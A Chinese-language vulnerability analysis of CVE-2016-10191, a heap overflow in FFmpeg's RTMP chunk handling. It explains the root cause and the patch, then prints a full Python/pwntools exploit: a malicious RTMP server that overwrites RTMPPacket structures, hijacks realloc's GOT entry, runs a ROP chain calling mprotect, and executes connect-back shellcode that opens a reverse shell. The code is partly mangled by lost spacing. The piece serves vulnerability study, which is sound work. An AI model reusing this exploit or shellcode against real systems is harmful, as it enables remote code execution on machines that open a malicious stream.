一，前言FFmpeg的是一个著名的处理音视频的开源项目，使用者众多2016年末paulcher发现FFmpeg的三个堆溢出漏洞分别为CVE-2016-10190，CVE-2016-10191以及CVE-2016-10192。网上对CVE- 2016-10190已经有了很多分析文章，但是CVE-2016-10191尚未有其他人分析过。本文详细分析了CVE-2016-10191，是学习漏洞挖掘以及利用的一个非常不错的案例。二，漏洞成因分析在RTMP协议中，最小的发送数据包的单位是一个块。客户端和服务器会互相协商好发送给对方的chunk的最大大小，初始为0×80个字节。一个RTMP消息如果超出了最大块大小，就需要被拆分多个块来发送。在chunk的头中会带有Chunk Stream ID字段（后面简称CSID），用于对等端在收到chunk的时候重新组装成一个消息，相同的CSID的chunk是属于同一个消息的。在每一个Chunk的消息头部部分都会有一个大小字段存储该chunk所属的消息的大小，按道理如果是同一个消息的chunk的话，那么大小字段都应该是相同的这个漏洞的起因是对于属于同一个消息的块的大小字段没有校验前后是否一致，导致写入堆的时候缓冲区溢出。漏洞发生在rtmppkt.c文件中的rtmp_packet_read_one_chunk函数中，漏洞相关部分的源代码如下size = size - p-> offset;// size为chunk中提取的大小字段//没有检查前后大小是否一致toread = FFMIN(size, chunk_size);//控制toread的值if (ffurl_read_complete(h, p->data + p->offset, toread) != toread) {ff_rtmp_packet_destroy(p);return AVERROR(EIO); }在最大块大小为0×80的前提下，如果前一个块的大小为一个比较下的数值，如0xa0，而后一个块的大小为一个非常大的数值，如0×2000，那么程序会分配一个0xa0大小的缓冲区用来存储整个消息，第一次调用ffurlreadcomplete函数会读取0×80个字节，放缓缓区中，而第二次调用的时候也是读取0×80个字节，这就造成了缓冲区的溢出。官方修补方案非常简单，只要加入对前后两个chunk的大小大小是否一致的判断就行了，如果不一致的话就报错，并且直接把前一个chunk给销毁掉。+ if (prev_pkt[channel_id].read && size != prev_pkt[channel_id].size) { + av_log(NULL, AV_LOG_ERROR, "RTMP packet size mismatch %d != %d\n", + size, + prev_pkt[channel_id].size); + ff_rtmp_packet_destroy(&prev_pkt[channel_id]); + prev_pkt[channel_id].read = 0;+ } +三，漏洞利用环境的搭建漏洞利用的靶机环境操作系统：Ubuntu 16.04 x64FFmpeg版本：3.2.1（参照https://trac.ffmpeg.org/wiki/CompilationGuide/Ubuntu编译，需要把官方教程中提及的所有编码器编译进去。）官方的编译过程由于很多都是静态编译，在一定程度上降低了利用难度。四，漏洞利用脚本的编写首先要确定大致的利用思路，由于是堆溢出，而且是任意多个字节的，所以第一步是观察一下堆上有什么比较有趣的数据结构可以覆盖。堆上主要有一个RTMPPacket结构体的数组，每一个RTMPPakcet就对应一个RTMP消息，RTMPPacket的结构体定义是这样的：/** * structure for holding RTMP packets */typedefstructRTMPPacket {intchannel_id; ///< RTMP channel ID (nothing to do with audio/video channels though)RTMPPacketType type; ///< packet payload typeuint32_t timestamp; ///< packet full timestampuint32_t ts_field; ///< 24-bit timestamp or increment to the previous one, in milliseconds (latter only for media packets). Clipped to a maximum of 0xFFFFFF, indicating an extended timestamp field. uint32_t extra; ///< probably an additional channel ID used during streaming data //这个是 Message Stream ID？uint8_t *data; ///< packet payloadint size; ///< packet payload sizeint offset; ///< amount of data read so farint read; ///< amount read, including headers} RTMPPacket;其中有一个很重要的数据字段就指向这个消息的数据缓冲区，也是分配在堆上。客户端在收到服务器发来的RTMP包的时候会把包的内容存储在数据缓冲区上，所以如果我们控制了解RTMPPacket中的数据指针，就可以做到任意地址写了。我们的最终目的是要执行一段shellcode，反弹一个shell到我们的恶意服务器上。而要执行shellcode，可以通过mprotect函数将一段内存区域的权限修改为rwx，然后将shellcode部署到这段内存区域内，然后跳转过去执行。那么怎么才能去执行mprotect呢，当然是通过ROP了.ROP可以部署在堆上，然后在程序中寻找合适的gadget把栈指针迁移到堆上就行了。那么第一步就是如何控制RTMPPacket中的数据指针了，我们先发一个chunk给客户端，CSID为0×4，程序为调用下面这个函数在堆上分配一个RTMPPacket [20]的数组，然后在数组下面开辟一段缓冲存储消息的数据。if ((ret = ff_rtmp_check_alloc_array(prev_pkt_ptr, nb_prev_pkt,channel_id)) < 0)很容易想到利用堆溢出覆盖这个RTMPPacket的数组就可以了，但是这个时候的堆布局数组是在可溢出的堆chunk的上方，怎么办？再发送一个CSID为20的chunk给客户端，ff_rtmp_check_alloc_array会调用realloc的函数给数组重新分配更大的空间，然后数组就跑到下面去了。此时的堆布局如下然后我们就可以构造数据包来溢出覆盖数组了，我们在数据包中伪造一个RTMPPacket结构体，然后把数组的第二项覆盖成我们伪造的结构体。其中数据字段指向得到表中的realloc（为什么覆盖realloc后面会提），size随意指定一个0×4141，读字段指定为0×180，只要不为0就行了（为0的话会在堆上malloc一块区域然后把数据指针指向这块区域）。这个我们再发送CSID为2的一个chunk，chunk的内容就是要修改的得到表的内容这些我们覆盖成movrsp，rax这个gadget的地址，用来迁移栈。接下来我们就把ROP部署在堆上.ROP做了这么几件事：1调用mprotect使得代码段可写2把shellcode写入0×40000起始的位置3跳转到0×400000执行shellcode发送足够数量的包部署好ROP之后，就要想办法调用realloc函数了，ffrtmpcheckallocarray函数调用了realloc，发一个CSID为63的过去，就能触发这个函数调用realloc，在函数调用realloc之前正好能将RTMPPacket数组的起始地址填入rax，然后调用realloc的时候因为得到覆盖了，实际调用了movrsp，rax，然后就成功让栈指针指向堆上了。之后就可以成功开始执行我们的shellcode了。这个时候整个堆的布局如下：最后利用成功的截图如下：先在本机开启一个恶意的RTMP服务端然后使用ffmpeg的程序去连接上图的服务端在另一个终端用NC监听31337端口可以看到程序执行了我们的shellcode之后成功连上了31337端口，并反弹了一个shell。最后附上完整的记录，根据https://gist.github.com/PaulCher/9acf4dc47c95a8b40b456ba03b05a913修改而来#!/usr/bin/python#coding=utf-8 importosimport socketimportstructfrom time import sleep frompwn import * bind_ip = '0.0.0.0'bind_port = 12345 elf = ELF('/home/dddong/bin/ffmpeg') gadget = lambda x: next(elf.search(asm(x, arch = 'amd64', os = 'linux'))) # Gadgets that we need to know inside binary# to successfully exploit it remotelyadd_esp_f8 = 0x00000000006719e3pop_rdi = gadget('pop rdi; ret')pop_rsi = gadget('pop rsi; ret')pop_rdx = gadget('pop rdx; ret')pop_rax = gadget('pop rax; ret')mov_rsp_rax = gadget('movrsp, rax; ret')mov_gadget = gadget('mov qword ptr [rax], rsi ; ret') got_realloc = elf.got['realloc']log.info("got_reallocaddr:%#x" % got_realloc)plt_mprotect = elf.plt['mprotect']log.info("plt_mprotectaddr:%#x" % plt_mprotect) shellcode_location = 0x400000# backconnect 127.0.0.1:31337 x86_64 shellcodeshellcode = "\x48\x31\xc0\x48\x31\xff\x48\x31\xf6\x48\x31\xd2\x4d\x31\xc0\x6a\x02\x5f\x6a\x01\x5e\x6a\x06\x5a\x6a\x29\x58\x0f\x05\x49\x89\xc0\x48\x31\xf6\x4d\x31\xd2\x41\x52\xc6\x04\x24\x02\x66\xc7\x44\x24\x02\x7a\x69\xc7\x44\x24\x04\x7f\x00\x00\x01\x48\x89\xe6\x6a\x10\x5a\x41\x50\x5f\x6a\x2a\x58\x0f\x05\x48\x31\xf6\x6a\x03\x5e\x48\xff\xce\x6a\x21\x58\x0f\x05\x75\xf6\x48\x31\xff\x57\x57\x5e\x5a\x48\xbf\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xef\x08\x57\x54\x5f\x6a\x3b\x58\x0f\x05"; shellcode = '\x90' * (8 - (len(shellcode) % 8)) + shellcode #8字节对齐 defcreate_payload(size, data, channel_id):生成一个RTMP消息payload = '' #Message header的类型为1payload += p8((1 << 6) + channel_id) # (hdr<< 6) &channel_id;payload += '\0\0\0' # ts_fieldpayload += p24(size) # sizepayload += p8(0x00) # Message type payload += data # datareturn payload defcreate_rtmp_packet(channel_id, write_location, size=0x4141):创造一个RTMPPacket结构体data = ''data += p32(channel_id) # channel_iddata += p32(0) # typedata += p32(0) # timestampdata += p32(0) # ts_fielddata += p64(0) # extra data += p64(write_location) # write_location - data data += p32(size) # sizedata += p32(0) # offsetdata += p64(0x180) # readreturn data def p24(data):packed_data = p32(data, endian='big')[1:]assert(len(packed_data) == 3)returnpacked_data defhandle_request(client_socket): v = client_socket.recv(1) #接收握手包C0client_socket.send(p8(3)) #发送握手包S0, 版本号 payload = '' payload += '\x00' * 4 #好像是 timestamp，没什么卵用 payload += '\x00' * 4 #这四个字节是 Server 的版本号，这里设置为全0，防止客户端走校验的流程 payload += os.urandom(1536 - 8) #剩下的都随机生成client_socket.send(payload) #发送握手包S1client_socket.send(payload) #发送握手包S2 client_socket.recv(1536) #接收握手包C1client_socket.recv(1536) #接收握手包C2以上就是整个握手过程print 'sending payload'payload = create_payload(0xa0, 'U' * 0x80, 4)client_socket.send(payload) payload = create_payload(0xa0, 'A' * 0x80, 20)client_socket.send(payload) data = ''data += 'U' * 0x20 # the rest of chunkdata += p64(0) # zerobytes data += p64(0x6a1) # real size of chunk, 这一行size 可能需要根据实际情况更改data += p64(add_esp_f8) # trampoline to rop data += 'Y' * (0x30 - 8) # channel_zero, 填充RTMPPacket[0] data += 'Y' * 0x20 # channel_one, 填充部分RTMPPacket[1] payload = create_payload(0x2000, data, 4)client_socket.send(payload) #到这一步程序并没有崩溃data = ''data += 'I' * 0x10 # fill the previous RTMPPacket[1] #data += p64(add_rsp_a8) data += create_rtmp_packet(2, got_realloc) data += 'D' * (0x80 - len(data)) #填充到0x80个字节 payload = create_payload(0x1800, data, 4)client_socket.send(payload) 把得到中中av_realloc改写jmp_to_rop = ''jmp_to_rop += p64(mov_rsp_rax)jmp_to_rop += 'A' * (0x80 - len(jmp_to_rop))payload = create_payload(0x1800, jmp_to_rop, 2)client_socket.send(payload) rop = ''rop += 'AAAAAAAA' * 6 # padding rop += p64(pop_rdi)rop += p64(shellcode_location) #shellcode不放在堆上是因为难以 leak 堆地址？rop += p64(pop_rsi)rop += p64(0x1000)rop += p64(pop_rdx)rop += p64(7)rop += p64(plt_mprotect) #mprotect(shellcode_location, 0x1000, 7) write_location = shellcode_locationshellslices = map(''.join, zip([iter(shellcode)]8)) #将shellcode以8个字节为1组打包 for shell in shellslices: #把shellcode通过rop的方式写入rop += p64(pop_rax)rop += p64(write_location)rop += p64(pop_rsi)rop += shellrop += p64(mov_gadget) write_location += 8 rop += p64(shellcode_location)rop += 'X' * (0x80 - (len(rop) % 0x80)) #0x80个字节对齐 rop_slices = map(''.join, zip([iter(rop)]0x80)) #将rop以0x80个字节为1组打包for data in rop_slices:payload = create_payload(0x2000, data, 4)client_socket.send(payload) # does not matter what data to send because we try to trigger # av_realloc function inside ff_rtmp_check_alloc_array # so that av_realloc(our_data) shall be calledpayload = create_payload(1, 'A', 63)client_socket.send(payload) sleep(3)print 'sending done' #raw_input("wait for user interaction.")client_socket.close() if name == 'main':s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.bind((bind_ip, bind_port))s.listen(5) while True:print 'Waiting for new client...'client_socket, addr = s.accept()handle_request(client_socket)五，参考资料1漏洞详情：http://www.openwall.com/lists/oss-security/2017/01/31/122官方修复：https：//github.com/FFmpeg/FFmpeg/commit/7d57ca4d9a75562fa32e40766211de150f8b3ee73漏洞作者提供的exp：https：//gist.github.com/PaulCher/9acf4dc47c95a8b40b456ba03b05a9134 RTMP介绍：http://mingyangshang.github.io/2016/03/06/RTMP%E5%8D%8F%E8%AE%AE/5 RTMP介绍：http://www.jianshu.com/p/00aceabce944官方编译FFmpeg的教程：https://trac.ffmpeg.org/wiki/CompilationGuide/Ubuntu
